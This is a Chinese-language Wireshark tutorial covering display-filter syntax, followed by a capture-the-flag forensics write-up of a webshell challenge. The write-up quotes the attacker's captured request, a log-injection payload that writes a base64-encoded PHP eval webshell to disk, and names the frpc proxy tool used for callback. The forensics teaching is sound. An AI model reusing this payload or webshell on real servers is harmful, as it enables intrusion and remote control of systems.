定义:
流量分析(Traffic Analysis)是指对网络流量数据进行分析和解释,以获得有关网络中通信的信息和情报。这种技术可以用于网络安全、网络管理和网络优化等领域。
网络流量包含了许多有关网络通信的细节信息,如源IP地址、目标IP地址、端口号、协议类型、数据包大小、传输速率等等。通过对这些信息进行分析和解释,可以获得对网络通信的深入理解,并发现潜在的问题和威胁。需要了解网络协议、数据包分析、安全攻防技术等相关知识。此外,还需要使用专业的流量分析工具,如Wireshark、tcpdump、Snort等等,以捕获和分析网络流量数据。在网络安全领域,流量分析被广泛应用于入侵检测、网络监控、漏洞分析等方面。例如,通过对网络流量进行分析和解释,可以发现恶意软件、网络钓鱼攻击、DDoS攻击等各种网络威胁,并采取相应的防御措施。
wireshark:
一、Wireshark简介
Wireshark是一款世界范围最广、最好用的网络封包分析软件,功能强大,界面友好直观,操作起来非常方便。它的创始人是Gerald Combs,前身是Ethereal,作为开源项目经过众多开发者的完善它已经成为使用量最大的安全工具之一。在CTF中也经常会使用wireshark进行流量数据包分析,可以快速检测网络通讯数据,获取最为详细的网络封包资料。Wireshark使用WinPCAP作为接口,直接与网卡进行数据报文交换。用户将在图形界面中浏览这些数据,实时监控TCP、session等网络动态,轻松完成网络管理操作。其对pcap包分析过程中常用的功能基本上包括:数据包筛选、数据包搜索、流还原、流量提取等
二、安装与使用
去官网下载,按照相应指示安装即可,
Wireshark支持的网络类型:
Interface | Linux | macOS | Windows |
---|---|---|---|
蓝牙 | ✅ | ❌ | ❌ |
以太网 | ✅ | ✅ | ✅ |
USB | ✅ | ❌ | ❌ |
无线局域网 | ✅ | ✅ | ✅ |
PPP链路 | ✅ | ✅ | ✅ |
打开后点击所需网关即可抓包
它提供了三个主要面板,包括:
抓包面板(Capture Panel):抓包面板用于捕获网络数据包,并显示已经捕获的数据包列表。在该面板中,可以选择捕获的网络接口、设置捕获过滤器、启动和停止抓包等操作。此外,还可以通过右键单击数据包,查看详细信息、导出数据包、跟踪TCP流等。
数据包列表面板(Packet List Panel):数据包列表面板显示已经捕获的数据包列表,其中每个数据包占据一行,并列出了有关该数据包的一些关键信息,如时间戳、源IP地址、目标IP地址、协议类型、数据包长度等。此外,还可以通过对列表进行排序、筛选、搜索等操作,方便用户查找和分析数据包。
数据包详情面板(Packet Detail Panel):数据包详情面板显示选定数据包的详细信息,包括各个协议层的数据结构和字段值。用户可以通过展开不同的节点,查看不同的协议头和数据负载,帮助用户深入理解数据包的内容和意义。
常用语法:
(在搜索框输入http即可看http的流量)
tcp:显示所有TCP协议的数据包
udp:显示所有UDP协议的数据包
http:显示所有HTTP协议的数据包
dns:显示所有DNS协议的数据包
icmp:显示所有ICMP协议的数据包
ip地址筛选:
ip.addr == 192.168.0.1:显示与指定IP地址相关的所有数据包
ip.src == 192.168.0.1 :显示源IP地址为指定地址的数据包
ip.dst == 192.168.0.2:显示目标IP地址为指定地址的数据包
端口筛选:
tcp.port == 80:显示使用指定TCP端口的数据包
udp.port == 53:显示使用指定UDP端口的数据包
比较运算符:
==:等于,例如:http.request.method == "POST"
!=:不等于,例如:ip.addr != 192.168.0.1
<、>:小于、大于,例如:frame.len > 100 或 frame.len < 50,可以指定过滤数据包长度
数据包内容过滤规则:
http.request.method == "GET" 或 tcp.flags.syn == 1,可以通过指定数据包内容,只保留符合条件的数据包。
# 在TCP三次握手过程中,客户端向服务端发送一个SYN标志的数据包,表示请求建立连接。而tcp.flags.syn == 1就是Wireshark中用于匹配TCP SYN标志的过滤规则,其中1表示该标志位被置为1,表示该数据包是一个SYN数据包。当Wireshark捕获到一个TCP数据包时,会检查该数据包的TCP头部中的SYN标志位是否被置为1,如果符合条件,则该数据包会被匹配并显示出来。这样,用户就可以快速过滤出所有的TCP SYN数据包,方便进行相关的分析和处理。
复杂筛选:
ip.src == 192.168.0.1 and tcp.port == 80
这个表达式的作用是:选择源IP地址为192.168.0.1并且目标TCP端口为80的网络流量。这样可以过滤出与指定源IP地址和目标端口相关的流量,以便进一步分析和观察与该目标端口的通信相关的数据包。
解释每个部分的含义:
ip.src == 192.168.0.1
:选择源IP地址为192.168.0.1的网络流量。tcp.port == 80
:选择目标TCP端口为80的网络流量。
通过组合这些条件,可以有效地过滤出特定源IP地址和目标端口的网络流量
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http.request.method==POST
这个表达式的作用是:选择源IP地址为192.168.1.8或202.1.1.2,并且HTTP请求方法为POST的网络流量。这样可以过滤出满足这两个条件的网络流量,以便进一步分析和观察与POST请求相关的数据包。
解释每个部分的含义:
ip.addr == 192.168.1.8
:选择源IP地址为192.168.1.8的网络流量。ip.addr == 202.1.1.2
:选择源IP地址为202.1.1.2的网络流量。http.request.method==POST
:选择HTTP请求方法为POST的网络流量。
蓝牙协议为obex协议
以下是一些用于匹配HTTP流量中的特定内容的语法:
http.host == "www.example.com"
:匹配目标主机为"www.example.com"的HTTP请求和响应。http contains "login":用于匹配HTTP流量中包含"login"字符串的数据包。
http.request.method == "POST"
:匹配使用HTTP POST方法发送请求的数据包。
http.response.code == 200
:匹配状态码为200的HTTP响应数据包。
http.cookie contains "sessionid"
:匹配包含名为"sessionid"的HTTP Cookie数据包。
http.content_type == "text/html"
:匹配Content-Type头部为"text/html"的HTTP数据包。
http.request.uri contains "admin"
:匹配包含"admin"字符串的HTTP请求URI。
http.request.uri matches ".*\.(jpg|png|gif)"
:匹配HTTP请求URI中以".jpg"、".png"或".gif"结尾的URI。
http.user_agent matches "Mozilla.*"
:匹配User-Agent头部以"Mozilla"开头的HTTP请求数据包。
题目[陇剑杯2021webshell]:
1.分析数据包hack.pcap,黑客登录系统使用的密码是________。
2.分析数据包hack.pcap,黑客修改了一个文件日志,文件的绝对路径为________。
3.分析数据包hack.pcap,黑客获取webshell之后,权限是_________?
4.分析数据包hack.pcap,黑客写入的webshell文件名是_________。
5.分析数据包hack.pcap,黑客上传的代理工具客户端名字是__________。
6.分析数据包hack.pcap,黑客代理工具的回连服务端IP是___________。
1、分析登录系统使用的密码
过滤语法:
http contains "login"
点击长度753那条,拉到下面看到使用的密码为:Admin123!@#
2、分析文件的绝对路径
因为题目中黑客修改了日志,所以直接搜.log
http contains ".log"
我们翻最大长度的且非404的包能看见日志路径和命令执行,不过这不是绝对路径,继续追踪http流(右击数据-->追踪流-->追踪http流)
重点在于:
variable=1&tpl=data/Runtime/Logs/Home/21_08_07.log&aaa=system('echo PD9waHAgZXZhbCgkX1JFUVVFU1RbYWFhXSk7Pz4=|base64 -d > /var/www/html/1.php');HTTP/1.1 200 OK
拼接一下能得出文件的绝对路径是:/var/www/html/data/Runtime/Logs/Home/21_08_07.log
3、分析黑客获取webshell后的权限
搜索:
http contains "whoami"
出来的两条数据虽然有whoami但是没有权限,我们追踪http流,然后在里面搜索default(即默认权限)
[ 2021-08-07T17:37:59+08:00 ] 172.17.0.1 /index.php?m=home&a=assign_resume_tpl
ERR: ...............:./Application/Home/View/default/www-data
权限是www-data
4、分析黑客写入的webshell文件名
第二题就能看见写入的是1.php
![](https://i-blog.csdnimg.cn/blog_migrate/a9f4c24e4011fb860d852e0da5ff1182.png)
5.分析黑客上传的代理工具客户端名字
由上题可知webshell的连接密码是aaa,直接搜索aaa,然后追踪http流
翻到后面得到:
ThinkPHP/ 2021-08-07 05:59:50 4096 0777
Application/ 2021-08-07 05:59:49 4096 0777
data/ 2021-08-07 06:00:32 4096 0777
frpc 2021-08-07 09:42:32 9973760 0644
index.php 2021-08-07 05:59:50 2269 0777
1.php 2021-08-07 09:39:54 29 0644
favicon.ico 2021-08-07 05:59:50 1150 0777
install.php 2021-08-07 05:59:50 378 0777
frpc.ini 2021-08-07 09:42:17 240 0644
代理工具客户端名字是:frpc
6.分析代理工具的回连服务端IP
黑客通过代理客户端写入文件并上传,在文件上传请求的包中,数据以16进制的形式呈现(因为在传输过程中,数据通常以二进制形式进行编码,可以通过将二进制数据转换为16进制来进行可视化展示和分析)
我们可以使用Burpsuite进行16进制转换,将抓取到的16进制数据复制到Burpsuite中。在Burpsuite中,找到并点击顶部菜单栏"Decoder"选项卡,在Decoder工具的界面上,选择"ASCII hex"选项(意味将16进制数据转换为ASCII字符串),然后点击"Decode"按钮。Burpsuite将会将16进制数据转换为相应的ASCII字符串。
代理工具的回连客户端IP是:192.168.239.123
相关参考: